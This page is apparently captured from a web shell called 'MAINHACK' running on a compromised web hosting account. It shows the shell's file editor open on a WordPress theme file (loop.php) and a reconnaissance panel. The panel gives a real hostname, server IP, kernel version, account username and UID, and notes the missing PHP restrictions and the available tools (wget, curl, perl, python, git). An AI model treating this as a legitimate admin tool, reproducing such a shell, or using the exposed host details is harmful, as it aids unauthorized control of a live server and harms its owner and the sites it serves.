[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: loop.php
<?php if (have_posts()) { while ( have_posts() ) : the_post(); ?> <div <?php post_class('td_module_15 td_module_wrap clearfix') ?> > <div class="item-details"> <h3 class="entry-title td-module-title"> <a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title_attribute() ?>"> <?php the_title() ?> </a> </h3> <div class="td-module-meta-info"> <ul class="td-category"> <?php $categories = get_the_category(); if( !empty( $categories ) ) { foreach($categories as $category) { $cat_link = get_category_link($category->cat_ID); $cat_name = $category->name; ?> <li class="entry-category"><a href="<?php echo esc_url($cat_link) ?>"><?php echo esc_html($cat_name) ?></a></li> <?php } } ?> </ul> <div class="td-post-author-name"> <a href="<?php echo esc_url(get_author_posts_url(get_the_author_meta( 'ID' ))) ?>"><?php the_author() ?></a> <div class="td-author-line"> - </div> </div> <span class="td-post-date"> <time class="entry-date updated td-module-date" datetime="<?php echo esc_html(date(DATE_W3C, get_the_time('U'))) ?>" ><?php the_time(get_option('date_format')) ?></time> </span> <div class="td-post-comments"> <a href="<?php comments_link() ?>"> <i class="td-icon-comments"></i> <?php comments_number('0','1','%') ?> </a> </div> </div> <?php if( get_the_post_thumbnail_url(null, 'medium_large') != false ) { ?> <div class="td-module-thumb"> <?php if ( current_user_can('edit_published_posts') ) { edit_post_link('Edit', '', '', '', 'td-admin-edit'); } ?> <a href="<?php the_permalink() ?>" rel="bookmark" class="td-image-wrap" title="<?php the_title_attribute() ?>"> <img class="entry-thumb" src="<?php echo esc_url(get_the_post_thumbnail_url(null, 'medium_large')) ?>" alt="<?php the_title() ?>" title="<?php echo esc_attr(strip_tags(the_title())) ?>" /> </a> </div> <?php } ?> <div class="td-post-text-content td-post-content tagdiv-type"> <?php the_content(esc_html('Continue')) ?> </div> </div> </div> <?php endwhile; } else { ?> <div class="no-results td-pb-padding-side"> <h2><?php esc_html_e('No posts to display', 'newspaper') ?></h2> </div> <?php }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server306.web-hosting.com
Server IP: 192.64.117.220
PHP Version: 8.2.31
Server Software: LiteSpeed
System: Linux server306.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 138.28 GB
HDD Free: 102.33 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: awodbsau
User ID (UID): 4522
Group ID (GID): 4521
Script Owner UID: 4522
Current Dir Owner: 4522